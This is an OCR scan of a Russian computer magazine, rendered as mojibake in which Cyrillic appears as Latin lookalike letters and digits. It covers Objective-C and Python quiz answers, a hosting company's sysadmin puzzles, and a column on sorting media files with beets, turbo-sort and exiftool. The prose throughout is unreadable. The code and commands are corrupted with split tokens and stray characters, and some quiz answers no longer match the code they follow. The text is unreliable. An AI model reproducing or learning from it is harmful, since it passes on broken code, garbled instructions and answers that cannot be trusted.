NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init] ; 

NSArray *a = [NSArray arrayWithObjects : @lj @2 3 @ 3 } nil]; 

_NS Log ( @ " He llo! "); 

NSLog(@"%@" J [NSDate date]); 

NSLog(@"%@" J a); 

/ /s = n il; 

[pool drain Jj_ 

return 0; 

J 

OTBeT:(1,2,3) 

3AAAH A 2 

Hto BbiBeAeTCfl Ha 3KpaH? 

int main(int arg c, cha r const *ar gv[]) 

{ 

NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; 

NSMutableArray *a = [NSArray arrayWithObjects: (6)1 , (6)2, (6)3, nil]; 

[a addObject:@3]; 
NS Log (@ "Hello! "); 

NS Log (@"W-> [ NSDat e date] ); 

NSLog ( @"%@" J a); 

//s = n i l ; 

[pool drain]; 
return 0; 

J 

OTBeT: unrecognizedselector 

3AAAH A 3 

Hto BbiBeAeTca Ha OKpaH? 



int main(int a rgc , char const *a rgv [ ]) 

{ 

NSAutoreleasePool *pool = [ [NSAutoreleasePool alloc] init] ; 
NSMutableArray *a = [NSMutableArray arrayWithObjects : (5)1, (5)2, (5)3, nil]; 
[a addObject:@3]; 

NSLog(@"Hello ! " ) ; 

NSLog(@"%@", [NSDate date] Jj 

ISIS Log ( @"%@", a); 

lis = nil; 

[pool drain]; 
re t urn 0; 

J 

OTBe-r: (1,2,3,3) 

3AflAH A 4 

Hto BbiBeAeTca Ha 3KpaH? 

int main(int argc, char const * argv[]) 

{ 

NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; 

NSDictionary *d = [NSDictionary dictionaryWithObjectsAndKeys : 

@"a", gl, fb", @2, fc", 

§3, @"4", 4, nil]; 

NSArray *a = [d allKeys]; 

NSLog(@"H ello !"); 

NSLog(@"%@", [NSDate d ate] ); 
NSLog(@"%@" J a); 

lis = n il; 

[pool drain]; 
return 0; 

} 

OTBeT: Segmentation fault 

Python 

3AAAHA 1 
>>> x = 5 

KaKOB 6yAeT pe3y/ibTaT BbipaxeHMM? 

>>> 1 < x < 10 

>>> 10 < x < 20 

>>> x < 10 < x*10 < 100 



>>> 10 > x <= 9 
>>> 5 == x > 4 

OTBeT: 

>>> 1 <x< 10 
True 

>>> 10 <x< 20 
False 

>»x< 10 <x*10 < 100 
True 

>>> 10 >x<= 9 
True 

>>> 5 == x > 4 
True 



IT-KOMflAHMM, UJJ1MTE HAM CBOM 3AflAH KM ! 

Mi/iccua 3tom MMHM-py6pnKM — o6pa30BaTe/ibHafl, nosTOMy Mbi 6ecn/iaTHO ny6/iMKyeM 
KanecTBeHHbie 3aAaHKM, KOTopbie pa3JiMHHbie KOMnai-Mn npeA/iaraiOT cowcKaTejiaM. Bbi 
uineTe 3aAanKn Ha lozovsky@glc.ru — Mbi i/ix ny6/iMKyeM. Hwokmx aKTOB, AoroBOpOB, skc- 
nepTM3 h OTneTHOCTePi. HMTaTermM — 3aAaHKn, pemaTe/iflM — noAapKM, BaM — pecneKT 
ot HaweM MHorocoTTbic^HHOM ayAHTopwn, ni/iapLu.MKaM — ctpohkm othgthoctm no ny6/in- 
Kau,M?iM b TonoBOM KOMnbiOTGpHOM xypHa/ie. 



HOBAfl nAPTIM 3AAAH OT K0MI1AHMM SERVERCLUB 

(nPH3 3A PELUEHUE — APEHflA KPYTOfO CEPBAKA HA ITjfl) 



3AAAHA 1 , yPOBEHb EASY 

EcTb cepBep c nHTepc^eficoM, kotophm cmotpmt b mmp m nivieeT aApec 1.1.1.1, onpeAe/ieHbi 
npaBM/ia iptables: 

(1) iptables -P INPUT DROP 

(2) iptables -A INPUT -i lo -j ACCEPT 

(3) i ptables -A INPUT -d 1.1.1.1 -j DROP 

(4) iptables -A INPUT -p icmp -j ACCEPT 



Mbi b kohco^m cepBepa Ae/iaeM ping -n 1.1.1.1. 

Rnnnnp ■ /-itdqtmt n m nonoon uq uan i ninn9 k'a i/r>o nnaoi/i nn n ni/i cuntfl nnafinTaoT? 



3AAAHA 2, YPOBEHb MEDIUM 

Ha nHTepdpefice eth1 cepBepa, CMOTpflLu,eM b mmp, noAHHTO HecKO/ibKO IP-aApecoB. 
CoKpameHHbiM BbiBOA KOMaHAbi ifconfig: 

ethl Link encap : Ethernet HWaddr 00:25:90: 73:07:18 

inet addr:1.1.1.2 Beast :1. 1.1. 255 Mask:255. 255. 255.0 
ethl:0 Link enc a p: Ethernet HWaddr 00:25:90: 73:07:18 

inet addr:1.1.1.3 Beast: 1.1. 1.255 Mask: 255. 255. 255.0 
ethl:l Link encap: Ethernet HWaddr 00:25:90:73:07:18 
inet addr:1.1.1.4 Beast :1. 1.1. 255 Mask:255. 255. 255.0 

AApec MHTepcJ)eMca ethl He 6bm ["ioahht aBTOMaTMHecKM nocne nepe3arpy3KM cepBepa M3-3a 
ohim6km b KOH0nrypau,MM v\ 6bm noAHHT bpvhhvk) KOMaHAOM ifconfig ethl 1 .1 .1 .2/24 up. 

KaK AOCTOBepHO y3Ha~rb, c KaKwvi mcxoa^lamm aApecoM IP 6vavt yxoAMTb naKeTbi b mmp (ao- 
no/iHMTe/ibHO HMK3KMX npaBmi b Ta6/iMu,bi MapLupyTM3au,MM He 6bmo BHeceHo), v\ noivieHflTb stot 
mcxoa^lamm aApec Ha APyrofi? 

3AAAHA 3, YPOBEHb EASY 

MivieeM ABa virtual hosts b KOH(t>i/irypau,m/i Apache: 

<VirtualHost *:80> 

ServerName xxx.com 
DocumentRoot /var/www/xxx. com 
<Dire ct ory /> 

Options FollowSymLinks 
AllowOverride None 
</Directory> 

</VirtualHost> 

\A 

<VirtualH ost 1.1.1.1 :80> 
ServerName yyy.com 
DocumentRoot /var/www/yyy . com 
<Directory /> 

Options FollowSymLinks 
AllowOverride None 
< /Directory > 
</ V i r tualHost> 

apachectl -S noKa3biBae~r: 

VirtualHost configuration: 
1.1.1 .1:80 is a NameVirtualHost 
Hp-Fault <;pnvpr vvv.rnm 



port 80 namevhost yyy.com 
wildcard NameVirtualHosts and _default_ servers: 
*:80 is a NameVirtualHost 

default server xxx.com 

port 80 namevhost xxx.com 

K/ii/ieHT 3anpaiuMBaeT b 6pay3epe http://yyy.com, ho OTKpbiBaercfl caPiT xxx.com. noneiviy Moxer 

TaK 6blTb M KaK MCnpaBMTb MaKCMMa/lbHO 6blCTpO? 

3AAA4A 4, yPOBEHb EASY 

AaHo: 

• cepBep noA ynpaBJieHweivi OC Linux; 

• oahh CGTeBOM MHTepcJ)eMc; 

• oahh «6e/ibiM» IP-aApec 1 .1 .1 .1 . 

Heo6xoAHMO pa3BepHyTb b paMKax SToro cepBepa ew,e oahh, ho noAynpaB/ieHMeM OC Windows; 
Ha cepBep noA ynpaB/ieHneM OC Windows hv>kho nivieTb B03M0>KH0CTb 3aMTM M3 MHTopHGTa. 

3AAAHA 5, YPOBEHb EASY 
MivieeM ABa VLAN 

vlan 222 

vlan 333 

Ha cepBepe Heo6xoAHMO Aono/iHMTG/ibHO noAHHTb noAceTb M3 VLAN 333, 4>parivieHT KOHc|)nra 
nopia Cisco: 

switchport trunk native vlan 222 
switchport trunk allowed vlan 333 
switchport mode trunk 

ByAeT jim pa6oTaTb native VLAN 222 h noneMy? 

3AAA4A6, YPOBEHb MEDIUM RARE :) 

1/lMeeTCfl mail-cepBep exim, nocTynwia xa/io6a, hto c cepBepa haot cnaM b 6o/ibuJMx oGteMax. 
AaHHbie M3 ^or-cfjaM/ia: 

grep cwd= /var/log/exim/main . log |awk '{print $3}' | sort |uniq -c 

15 cwd=/ 

16447 8 cwd=/tm p 
1 cw d=/var/l o g 

1 cwd=/var/spool/clientmqueue 



OnpeAe^mb PID cnaM-CKpHma. 



B AnpeKTOpMn /etc/nginx/vhosts MMeiOTCfl (jpaw/ibi KOHcJwrypauuM BMpTya/ibHbixxocTOB c Ma- 
ckom (J)attnoB * . vhost. Vhost c/iywaeT I P-aApec 1.1.1.1: 

listen 1.1.1.1; 

HeoSxoAMMO A-nfl KaxAoro vhost Ao6aBMTb b listen eme oahh IP-aApec 2.2.2.2 m He Ao6aB.rmTb 
ero, ec/iu y vhost b listen ecTb IP 3.3.3.3; Heo6xoAHMO BbiBec™ MMeina c|)awiOB, rAe yxe MMeKrrcfl 
b listen IP-aApeca 2.2.2.2 m 3.3.3.3. 

PeujeHne npeAdaBi/iTb b BMAe bash-CKpwnTa (MWHHMa.ni/i3M n pi/i BeTCTByeTCH ) . 

3AAA4A 8, yPOBEHb EASY 

Bo3MO>KHa /in TaKaa KOHcJjMrypau.Mfl Ha ceieBOM MHTep(})eMce MapwpyTH3aT0pa Cisco? 
cisco(config-if )# ip address 10.0.0.0 «-< 

255.255.255.254 

3AAAHA 9, YPOBEHb MEDIUM 

flBa cepBepa noAK/ifOHeHbi k OAHOMy ko m MyTaTO py (HaxoAflTca b oahom L2-ceTn) m HMeiOT cne- 
AyiOLAMe KOH(J)nrypai4MM ceieBbix MHTepcj)eMCOB: 

CepBep 1: 1.1.0.1/24, gw 1.1.1.1 
CepBep 2: 1.1.1.1/24, gw 1.1.0.1 

CMoryT jim ohm nMHroBaTb Apyr Apyra? JL 



SERVERCLUB OEbflBJlflET nPM3 
HMTATEJ1I0-PE11IATEJ1K) 

OTBeTbi npocMM npMCbmaTb Ha xakep@serverclub.ru . 

npii3 - apeHAa cepeepa (Dell R210 SATAXeon X3430 (2,4 ITu,, 4 siApa), 8 T6 RAM, 
2 x 1 000 T6, SATA) Ha roA- 



Unixoid 




npaKTi/iHecKi/i y Kaxfloro ecTb cbo^ KO/i/ieKui/m KaKnx-Hi/i- 
6yAb My/ibTi/iMGAi/isc^ai/iJiOB, 6yflbTO My3biKa, bhago v\nv\ 
KHi/iri/i. 3aHacTyK3 ohm noxaT Ha OTfle/ibHOM 4>ai7iJiOBOM 
cepBepe ni/160 NAS, ho npi/i gtom i/ix Tyfla 3ajii/iBaK)T 
b cneLUKe. B more Hai7iTi/i onpeAeJieHHbiM §av\n cnyc~m 

KaKOe-TO BpGMFl CTaHOBl/lTCFI Kpai/IHG 3aTpyflHMTeJlbHO. 

K cnacTbfo, ecTb yTi/innTbi, no3BO/i£fOLu,MG OTCopTt/ipoBaTb 
Te i/ijii/i MHbie 0aMJibi b yfloSHOM bi/iag. j, 



BBEAEHME 

npoAno/ioxy nnn npocTOTbi, hto NAS / <t>aMJiOBbiM cepBep y Hac yxo HacTpoeH, m nepen- 
Ay k Tpe6oBaHnqM A-na AaHHbix yiwMT: 

• BO-nepBbix, n 3to ocHOBHoe Tpe6oBaHne, yTM/iMTbi aojixhw 6biTb TGKCTOBbiMM, m6o 
Ha NAS, KaK npaBMJio, rpacJ)MKM hgt; 

• BO-BTOpblX, yTl/IJlHTbl AOJlXHbl 6blTb HacTpaMBaGMbiMM ; 

• B-TpeTbux, nv\6o ohm AO/ixHbi 3anycKa~rbCfl b iohgctbg AeMOHa m yM6Tb MOHMTopnTb 
m3mghghm^, jim6o xg Mbi 6yAeM mx 3anycKaTb nepe3 cron A-na coptmpobkm. 

B MTore 6bi/iM OTo6paHbi HGCKO/ibKO nporpaMM, KOTopbie a m onMiuy HMxe. 

BEETS 

flaHHoe npM^oxeHMe npeAHa3HaneHO Ana ynpaB/iGHMH My3biKajibHbiMM 3anMC^MM. HanM- 
caHO oho Ha Python m npoAOCTaBJiHGT OHGHb rM6KMe bo3moxhoctm A-na paSoTbi c My3bi- 

Ka/lbHOM 6m6j1MOT6KOM, B TOM HMcne: 

• co6cTBeHHO C03AaBaTb 6M6/iMOTGKy, MMnopTMpya 3anMCM M3 yKa3aHHoro MecTa m pa3- 
MeLAaa mx b 3aAaHHOM AepeBe KaTa/ioroB; 

• no/iynaTb m/im BbiHMoriflTb Bee MeTaAaHHbie, KOTopbie KorAa-/iM6o MoryT noTpe6oBa~rb- 
ca, — OTxaHpa m TeKCTa neceH ao aKycTMnecKoro (})MHrepnpMHTMHra (nocneAHee no- 
3BO/iaeT b TeopMM onpeAe/iHTb My3biKy 6e3 TeroB); 

• nepeKOAMpoBaTb ayAMO b jikd6om xe/iaeivibiM cf>opMaT; 

• npOBep^Tb, ecTb nv\ b tbogm 6m6/imotgko Ay6/iMKaTbi. 

YcTaHOBMTb Gro b DGbian-basGd-CMCTGMax moxho, jim6o Mcnojib3ysi apt-gGt (ho npM stom, 

B03MOXHO, B pGn03MTOpMflX 6yAGT HG CaMafl nOC/lGAH^^ BGpCMfl), JIM60 C nOMOLUblO MH- 
CTpyMGHTa pip. BTOPOM nyTb M paCCMOTpMM. YCTaHOBMM AaHHbIM MHCTpyMGHT: 

$ sudo apt-get install python-dev python-pip 
3aTGM yxG ycTaHOBMM caM bGGts: 
$ sudo pip install beets 



warning: no previously-included files matching '.DS_Store' found anywhere in 
distribution 

Installing beet script to /usr/local/bin 
Running setup. py install for enum34 

Running setup. py install for mutagen 

changing mode of bui ld/scripts-2 . 7/moggspl it from 644 to 755 
changing mode of bui ld/scripts-2 .7/mutagen-inspect from 644 to 755 
changing mode of bui ld/scripts-2 . 7/mid3iconv from 644 to 755 
changing mode of bui ld/scripts-2 . 7/mutagen-pony from 644 to 755 
changing mode of bui ld/scripts-2 . 7/mid3v2 from 644 to 755 

changing mode of /usr/local/bin/moggspl it to 755 
changing mode of /usr/local/bin/mutagen-inspect to 755 
changing mode of /usr/local/bin/mid3iconv to 755 
changing mode of /usr/local/bin/mutagen-pony to 755 
changing mode of Zusr/local/bin/mid3v2 to 755 
Running setup. py install for munkres 

Running setup. py install for unidecode 



Running setup. py install for musicbrainzngs 

Successfully installed beets enum34 mutagen munkres unidecode musicbrainzngs 

Cleaning up . . . 

root@debian:~tt 



YcTaHOBKa beets 

Eanw xe xoneTca ycTaHOBMTb ero BpysHyio, CKanaki naKeT , pacnaKyfi h ycTaHOBM c noivio- 
LUbio cneAyK)Lu,ePi KOMaHAbi: 



$ sudo python setup. py install 



3aTeM HyxHO CKOHdpi/irypi/ipoBaTb caM beets. KoHc^nrypauMOHHbiPi cpafi/i MMeeT cw-iTaK- 
cucYAML, noaTOMy, AYMaio, HMeeT CMbic/i npi/iBec~ri/i npmviep c KOMMeHTapwflivin. 



# KaTa/ior, b kotopom 6yAeT xpaHMTbca 6n6/inoTeKa 
directory: /home/samba/music 

# Onu.nn MMnopTa^^4)aM/ibi mm 6vagm nepeMemaTb 

# M3 Kata/iora, OTKyAa HMnoptupyeM, npw «thxom» 



# MMnoptej b cnynae HeHaxo>KfleHMfi teroB hma (frafi/ia 
#_ocTa B/iiiT b k a k e cxb j ne p e 3 a n v\ cbiBaTb MeTaAamnbie , 

# ec/in bobmokho, B03o6HOB/iflTb npouecc HMnOpta ^ 



# nponycKaTb y>Ke HMnopTupoBaHHbie KaTa/iorw., fyawn 

# wypHa/ia - beetslog.txt 
import: 

move: yes 



quiet_f allback: asis 
write: yes 



resume: yes 

incremental: yes 

log: beetslog.txt 
# MrH opupoBatb cneflyiomn e (frati/ibi 
ignore: .AppleDouble ._* *~ .DS_Store 



# noAK/iKHeHHbie n/iarMHbLJLnyTbj rAe mx MCKaTb 
plugins: bpd chroma discogs fromfilename 
pluginpath: ~/beets/myplugins 




INFO 

npM COpTMpOBKe M0)KH0 npH- 

MeHflTb CTapyio Ao6pyio yTH- 
jimy find b coneTaHHH c awk. 



# flox a-nyi ij och obhoh napaMetp b a3hhom KOH(|) nre - KaK HMe HHO pa3MemaTb 

# HM nopt m pyeMbie (fraPi /ibi. (DopMat, b o6meM-TOj MHtynTMBHO nohmTHbiflj 

# TeM He MeHee ero a onuiuy b ochobhom TeKCTe cTaTbM 
paths : 

default: $genre/$albumartist/$album/$track $title 
singleton: Singletons/$artist - $title 
comp: $genre/$album/$track $title 



albumtype : soundtrack: Soundtracks/$album/$track $title 



B nyTflx MoryT cpwrypMpOBaTb oneAyfomne nepeMeHHbie: 

• $title — Ha3BaHne TpeKa; 

• ffiarti.Qt i/i 5fcalhi imarti.Qt — i/innnnnwTPnk nmpn^Hnrn mpi^a m Mv^wi^ankHnrn anhfSniwia 



b ue/iOM (MoryT 6biTb pa3HbiMM); 

• $artist_sort m $albumartist_sort — ohm xe, ho OTCopTupoBaHHbie, Hanpniviep «Beatles, 
The»; 

• $genre v\ $composer — xaHp \a KOMno3HTop; 

• $year, $mounth m $day — rofl, Mecflu, h AeHb AaHHoro BbinycKa a/ib6oMa; 

• $original_year, $original_mounth i/i $original_day — Te xe caMbie nepeivieHHbie, ho ot- 
HOCflinMecfl k opurnHa^bHOMy BbinycKy a/ib6oMa; 

• $track — HOMep TpeKa. 

Pa3yMeeTCfl, sto He Bee nepeMeHHbie, KOTopbie AonycTHMO i/icno/ib30BaTb, ho, no/iaraio, 
A-na a6co/iiOTHoro 6onbLUMHCTBa cnynaeB mx AOCTaTOHHO. IIomhmo nepeivieHHbix, beets 
noAAepxuBaeT eu\e h MaHMny/iau,MM co CTpOKaMH b wivieHM tyawna, Hanpmviep n3MeHe- 
Hkie pemcTpa. nepeHnonio HeKOTopbie 1/13 BCTpoeHHbix ct>yHKu,nfi A-na 3Toro: 

• %lower(text) v\ %upper(text) — n3MeHaeT perncTp TeKCTa Ha hmxhmm i/i BepxHi/iPi coot- 
BeTCTBeHHo; 

• %left(text,n) v\ %right(text,n) — nonynaeT nepBbie m noc/ieAHwe n cumbojiob H3 TeKCTa; 

• % if ( yen ob i/i e, text) unn %if(ycnoBwe,text,falsetext) — ycnoBHbiii onepaiop; ec/in CTpo- 
Ka c ycnoBneM HenycTaa, to B03Bpauu,aeT text, Hy a eonn nycTaa, B03BpamaeT nn6o 
on^Tb xe nycTyio CTpoKy, jim6o falsetext; 

• %asciify(text) — KOHBepTi/ipyeT Bee He ASCII-cuMBonbi b ASCII. 

Hy a Tenepb nepeMAeM k npoueccy KOHcfjurypupoBaHMq. EcTb ABa ny™ A-na C03AaHMH 
cJ)aM/ia HacTpoeK. nepBbifi M3 hmx — Bocno/ib30BaTbCfl kom3haom beet config -e, KOTopaa 
3anycKaeTTBOM jiK)6i/iMbiM peAaKTOp (onpeAe/ieHHbiM b nepeivieHHOM OKpyxeHMH EDITOR), 
btopom xe 3aK/iiOHaeTCfl b pynHOM ero co3AaHi/in b KaTa/iore $HOMEDIR/.config/beets/ 
noA MMeHeM config. yaml. 

nocne co3AaHna KOH(J)nra moxho yxe npwcTynaTb k mvinopTy My3biKn. Ho npexAe neivi 
3to CAe/iaTb, ctomt nocTaBMTb n/iarwH ajih aBTOMaTi/inecKOM paccTaHOBKM TeroB. Arm sto- 
ro CHana/ia ycTaHOBMM pyacoustid: 

#_pi p_ instaiLp yacoustid 

3aTeM HyxHO ycTaHOBHTb caiviy 6n6nnoTeKy n HeKOTopbie BcnoMoraTe/ibHbie yTM/iMTbi: 

• apt-get install libchromaprintO python-gste. 10-dev ffmpeg 

Hy n Ao6aBMTb chroma b cnncoK n/iarnHOB b KOH^nr. Bot Tenepb moxho h MMnopTHpo- 
BaTb. Arm 3Toro b KaTa/iore, OTKyAa MMnopTMpyeM, Ha6npaeivi KOMaHAy: 

$ beet import -q 

KoiviaHAa 3Ta pacTacKHBaeT My3biKy no KaTanoraivi, erpyicrypa kotophx i/i onucaHa b cf>aii- 
Jie HacTpoeK. 3Ty xe KOMaHAy moxho 3annxHyTb b crontab A-na aBTOMaTi/inecKoro MMnop- 

Ta My3blKM. 

Beets noAAepxMBaeT MHOxecTBO Apyrux MHTepecHbix Bem,eM — TaKnx, Hanpi/iMep, 
KaK nowcK no ayAH03ani/icaM. Ho b paMKax AaHHofi CTaTbi/i onwcbiBaTb sto eABa jih 6yAeT 



vmgctho, noaTOMy nepeMAy k c/ieAyK)LuePi nporpaMMe. 
TURBO-SORT 

CKpkinT npeAHa3HaneH copti/ipobkh m pa3M6LA6HWfl CKanaHHbix c^wibMOB v\ nponnx 
Bi/iAGOMaTGpuia/iOB. B OT/iMHne ot beets ycTaHOBKn oh He Tpe6yeT, Aa m boo6lag ropa3AO 
npome b HacTpOMKe v\ i/icnonb30BaHkin. 
CKanMBaeM apxi/iB v\ pacnaKOBbiBaeivi: 

$ wget https : //turbo- sort . googlecode . com/files/turbo_sort_2 . 2 .4. zip 
$ mkdir turbo-sort 

$ unzip turbo_sort_2.2.4.zip -d turbo-sort 
$ cd turbo-sort 

riapaivieTpbi y CKpunTa 3aAaK)TCfl hgiiocpgactbghho b hgm caMOM — bgpohtho, gto aBTop 

HG BMAG/l CMblCJia BblHOCHTb HX B OTAG/lbHbIM KOHCj)Mr. CKOpGG BC6T0, CKpMnT pa3pa6aTbl- 

Ba/icfl noA Windows, nooTOMy kohgu, ctpokh npnAGTca KOHBopTHpoBaTb b cfjopiviaT UNIX: 
$ dos2 unix ./* 

llpGXAG hgm onucbiBaTb onu.nn, AOCTynHbiG b CKpuriTG, hvxho paccKa3aTb o AOdynHbix 

4)OpMaTHblX CTpOKaX PJ\5\ TOTO V\n\A MHOrO TMna pa3M6LlJ,GHMfl. 
CnGpBa 9\ paCCMOTpK) TG \A3 HHX, KOTOpbIG OTHOCflTCfl KO BCGM TMnaM! 

• %t — Ha3BaHMG BMAG03anncn. Arm bgpxhgto pGrncTpa hvxho wcnojib30BaTb %T; 

• %0 — HMfl 4>aMJia 6G3 M3MGHGHMM (M 6G3 paCLLIMpGHHfl). 

flilfl BMAGO 6G3 A^Tbl l/IMGKDT MGCTO CJlGAyiOLAHG <t>0pMaTHbl6 CTpOKH! 

• %e M %0e — HOMGpa 3ni/130AOB 6G3 JlHAHpVK)LlJ,6rO HVfm V\ C JlMAHpyK)UJ,WVI HVJ16M COOT- 
BGTCTBGHHO; 

• %S M %0S — TO >K6 CaMOG, HO CG30HOB. 

A-na bmago c AaToPi aKTya/ibHbi APyruG cfjopiviaTHbiG ctpokh: 

• MGCflu, moxgt npGACTaB/iHTbCfl KaK %m, %0m, %f m, %FM, %sm i/i %SM; nGpBbiG abg 03HanaK)T 
hmc/iobog npGAdaB/iGHMG, %fm v\ %sm — no/iHbiM m KpaTKMM bma MGcaua (November 

M NOV), OCTaBLUMGCfl ABG — TO X6 CaMOG, HO B BGpXHGM pGrMCTpG; 

• AHM >K6 n p G ACT3 BJ1 KDTC 9\ KaK %d 1/1 %0d — TyT VX6 KOMMGHTapMM HG HVXHbi; 

• c toaom 6111,6 npome — oh o6o3HaHa6Tca %y, h 3to npGACTaB/iGHMG aKTyajibHO 
m unn 4>M/ibMOB. 

Ajih cfju^bMOB xg ocTanacb TO/ibKO OAHa (JjopMaTHaa CTpoKa — %q, KanGCTBO 4>mibMa 
(k npMMGpy, 720p). 

TGnopb onwiiiy HGKOTopbiG napaMGTpbi: 

• tvdGSt m moviodost — no/iHbiM nyTb k KaTa/ioraM, KyAa nGpcMGinaTb TG/iGiuoy, CGpna- 

Jlbl H C^HJlbMbi; 

• sourcGdir — OTKyqa nGpGMGmaTb; 

• GxtGnsions — k3kmg pacuiHpGHkm b MMGHax cf>aPmoB aKTya/ibHbi, yKa3biBa6TCfl b KBa- 
ApaTHbix CKo6Kax m mgpg3 3anflTyio; 

• SATELLITES — DacujuDGHna cbakinoB-«cnvTHHKOB» (cv6THTDbh. vKa3biBaGTCH tohho 



TaKxe, KaK m npeAbiAymufi napaivieTp; 

min_size — MUHMMa/ibHbiM pa3Mep (b Mera6aPrrax), npn kotopom CKpi/iriT 6yA,eT o6pa- 
Lu,aTb BHMMaHne Ha (pawn; 

• overwrite — nepe3anncb tyaiAnos b KaTa/iorax Ha3HaHeHMfl (napaMeip norMHecKMM — 
True win False); 

remove_CC — yAajiem/ie koaob CTpaH 1/13 MMeH c^aftnoB, /iornHecKMM (Aa/iee He 6yAy 
ynoMMHaTb Tun napaMeTpa, ecnn oh t3kom xe, KaK v\ npeAbiAyiAUM); 

• satellites — nepeMemaTb jih BMecTe c BMAeo (t>ai/i.nbi-«cnyTHMKH»; 

• cleanup — npon3BOAHTb nv\ yAa/ieHne Tex KaTa/ioroB, OTKyAa nepeMema/iMCb $aftnbi; 

• clean mode — pexwM yAa/ieHMH — 1 v\nv\ 2. Ec/im nepBbiM, yAa/iflfOTCfl c^aw/ibi c TeM 
xe MMeHeM, hto h nepeMemaeMbie (paciunpeHne, OAnaKO, He Kom~po.nnpyeTCfl). 3a- 
TeM npoBep^eTca, nycTOM jih Kaianov, m ecrin Aa, to oh Toxe yAa/ifleTCH. Bo btopom 
xe pexnivie npoBepaeTCH, ecTb jih b KaTa/iore (t>aPuibi 6onbLue min size, m b 3aBncn- 
mocth ot 3-Toro npMHHMaeTCfl peiueHMe 06 yAa/ieHnn; 

• undated_fs, dated_fs h movie_fs — OTHOCHTejibHbie nym k Tenemoy v\ cepnariaM 
6e3 AaTbi, c AcItom m k 4>mibMaM; b nyTflx moxho ncnonb30BaTb ynoM^HyTbie Bbiwe 
cf>opMaTHbie ctpokm. 



riporpaMMa 3anycKae~rcfl 6e3 KaKnx-/iw6o apryivieHTOB, nosTOMy ee moxho npocTO npo- 
nwcaTb b cron v\ 3a6biTb. 



samba@debian :~$ wget https : //turbo-sort .googlecode .com/f i les/turbo_sort_2 .2 .4 .zi 
P 

— 2014-05-04 01 : 22 : 59 — https : //turbo-sort . googlecode . com/f i les/turbo_sort_2 . 2 . 
4 .zip 

Pacno3HaeTCH tu.rbo-sort.googlecode.com (turbo-sort.googlecode.com)... 74.125.143 
.82, 2a00 : 1450: 4010 : c03 :: 52 

TTuflK/iioHeHMP k turbo-sort.googlecode.com (turbo-sort .googlecode .com) I 74 .125 .143 .8 

2 I :443. . . coe/iMHeHMe ycTaHOBJieHO . 

HTTP-3anpoc oTnpaejieH . OaMflaHne OTBSTa . . . 200 OK 

Hjwahb: 22243 (22K) [application/zip] 

CoxpaHeHMe b KaTa/ior : ««turbo_sort_2 .2 .4 .zip»» . 

100% [======================================>] 22 243 108K/s sa 0,2s 

2014-05-04 01:23:01 (108 KB/s) - «turbo_sort_2 . 2 . 4 . zip» saved [22243/22243] 
samba@deb.ian :~$ mkdir turbo-sort 

samha@deb.ian :""$ unzip turbo_sort_2.2-4.zip -d turbo-sort/ 
Archive: turbo_sort_2 .2 .4 .zip 

inflating : turbo-sort/changelog . txt 

inflating: turbo-sort/LICENSE.txt 

inflating: turbo-sort/README . txt 

inflating : turbo-sort/turbo_sort . py 
samba@deb i an : '""'$ 



CKaHMBaHHe n pacnaKOBKa turbo-sort 
EXIFTOOL 

riporpaMMa 3Ta, HanwcaHHaa Ha Perl v\ bxoa^lu,^ b cocTaB 6o/ibLUMHCTBa auctphGvtmbob, 
noMMMO pa6oTbi c MeTaAaHHbiMM b i/i3o6paxeHi/iax noAAepxuBaeT TaKxe m nepewMeHO- 
BaHwe cfjaMjiOB / nepeMeiMeHne no KaTanoraM Ha ocHOBe sthx MeiaAanHbix. riocKO/ibKy 

OnU,MM y 3T0M nporpaMMbl nOJIHO, paCCMOTpKD TO/lbKO Te, KOTOpbie OTHOCHTCfl K copTM- 

pOBKe. Ho CHana/ia, KaK o6bHHO, ycTaHOBKa: 



# apt-get install libimage-exiftool-perl 



npome Bcero Mcnojib30BaTb b KanecTBe MivieH 4>aM.noB/KaTa.noroB MeTaAaHHbie, cbh- 
3aHHbie c Acitom m BpeMGHeM. HeT, kohghho, He B036pai-meTCfl ncno^b30BaTb i/i Apy- 
n/ie MeTaAaHHbie, TaKkie KaK reorpacJ)MHecKoe MecTonojioxeHwe (ec/in cJ)OToannapaT 
noAAepxuBaeT GPS), ho 3to yao6ho, Jii/iiub earm Tbi yMeenib AeKOAnpoBaTb mx b yivie 
(b 3tom anynae HaM BceM 6bi.no 6n BecbMa MHTepecHO no3HaKOMMTbCH c TaKMM ne.no- 
bgkom). nosTOMy 9\ npuBeAy MCK/iKDHMTe/ibHO KOMaHAbi, OTHOcflLUMecfl k AaTe/Bpeivie- 
hm. Ranee a paccMcrrpio, KaK moxho OTCopTMpoBaTb (Jdotkm b cfjopiviaTe ITIT/MM/AA, 
a 3aTeM pa36epy naparvieTpbi m onu,MM, c noMOiubKD KOTopbix moxho AC-naTb m Apyrwe 
Bemn: 

$ exiftool ' -Directory<DateTimeOriginal' -d %Y/%m/%d ./ 

KoMaHAa 3Ta nepeMemaeT Bee ct>OTorpac£>MM M3 TeKymero KaTajiora b nepapxMfo Karano- 
tob, onMcaHHyio Bbiwe. firm toto HTo6bi He nepeMecTMTb 4>aPiJibi, a mmchho CKonwpOBaTb, 
HyxHO ncnojib30BaTb nyTOK Apyryfo KOMaHAy: 

$ exiftool -o . ' -Directory<DateTimeOriginal' -d %Y/%m/%d ./ 

Arm peKypcwBHoro xe npeo6pa30BaHna mmch ct>aMJiOB moxho ncno/ib30BaTb TaKyfo; 

$ exiftool -r ' -FileName<CreateDate ' -d %Y-%m-%d-%M%S.%%e ./ 

Pa36epeM onunn m cfjopiviaTHbie ctpokm. 'Directory' m 'FileName' HB/mioTCm CBoero poAa 
BnpTya/ibHbiMM TeraMM. A b CMHTaKcuce exiftool A-rm KonnpoBaHMA A^HHbix M3 OAHoro Tera 
b ApyroM ncno^b3yeTCfi cmmboji <, finn nero ohm m SKpaHMpyiOTCH KaBbiHKaMM. Onuna -o 
3aAaeT BbixoAHOM KaTa/ior (6e3 Hee 0aMJibi nepeMemaiOTCfl), a onLu/m -r 03HaHaeT, noHm"- 
Hoe Ae.no, peKypcMBHyio o6pa6oTKy. 

Hto xe ao (J)opMaTHOM ctpokm, to 3Aecb McnoTib3yeTca 4)opMaT strftime, kotophm 
npMMeHfleTca, HanpMMep, b KOMaHAe time, nosTOiviy CMbiona noAPo6HO ero onMCbiBaTb 
a He BMxy — pa3Be hto onMiuy Te cjDopiviaTHbie ctpokm, KOTopbie Mcnonb3yiOTCfl b mmchm 
qbaM^a m nosTOMy cneu,Mc|)MHHbi Arm exiftool: 

• %%d — MexoAHoe Mivm KaTa/iora; 

